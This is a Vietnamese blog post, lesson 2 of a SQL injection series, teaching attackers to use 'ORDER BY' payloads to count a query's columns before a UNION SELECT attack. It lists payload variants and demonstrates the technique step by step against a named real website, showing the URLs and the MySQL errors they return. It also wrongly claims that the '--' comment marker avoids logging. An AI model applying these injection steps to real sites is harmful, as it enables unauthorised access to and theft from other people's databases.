Thứ Sáu, 24 tháng 5, 2013

[SQL]Bài số 2: Sử dụng order by

Order by được sử dụng để làm gì khi attack
-Làm tiết kiệm thời gian attack
-Nó được sử dụng để tính số field ,column có trong CSDL SQL


Các trường hợp order by các bạn nên lưu ý khi gặp:
Đầu tiên ta order by 100-- - để phát hiện ra order của mình đã đi đúng hướng hay chưa, để xem nó rơi vào trường hợp nào dưới đây:
+Nếu site trả về trang lỗi:


Quote:
Error: Unknown column '100' in 'order clause'
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
....v..v


>>>ta đã order theo hướng đúng
>>thuộc TH1
+Nếu site trả về trang web bình thường
>>thuộc TH2,TH3

TH1: order by 100-- -
Victim :
TH2: ' order by 100-- -
Victim:
TH3: 'order by 100-- a
Victim:
TH4:Khác- không order by được ta chuyển sang union select lun

Ghi chú:
-- : Hiểu đơn giản là tránh bị ghi log
- : Biến đoạn đằng sau dấu - thành chú thích

Demo 1 ví dụ:
http://violetqb.com/home/index.php?page=rules&id=2
http://violetqb.com/home/index.php?page=rules&id=2 order by 100-- - >>lỗi
Quote:
Error: Unknown column '100' in 'order clause'
Như vậy ta hạ order by xuống
Quote:
http://violetqb.com/home/index.php?page=rules&id=2 order by 10-- - >>vẫn
lỗi
Quote:
http://violetqb.com/home/index.php?page=rules&id=2 order by 7-- - >>vẫn
lỗi
Quote:
http://violetqb.com/home/index.php?page=rules&id=2 order by 6-- - >> hết lỗi- nó đưa về trang web như bình thường

>>ta chú ý giữa ranh giới bị lỗi và không bị lỗi là 6 và 7
Lấy số lỗi là 7-1=6 để đưa vào union select 1,2,3,4,5,6-- -
Hoặc
Lấy số không lỗi là 6 để đưa vào union select 1,2,3,4,5,6-- -

Không có nhận xét nào:

Đăng nhận xét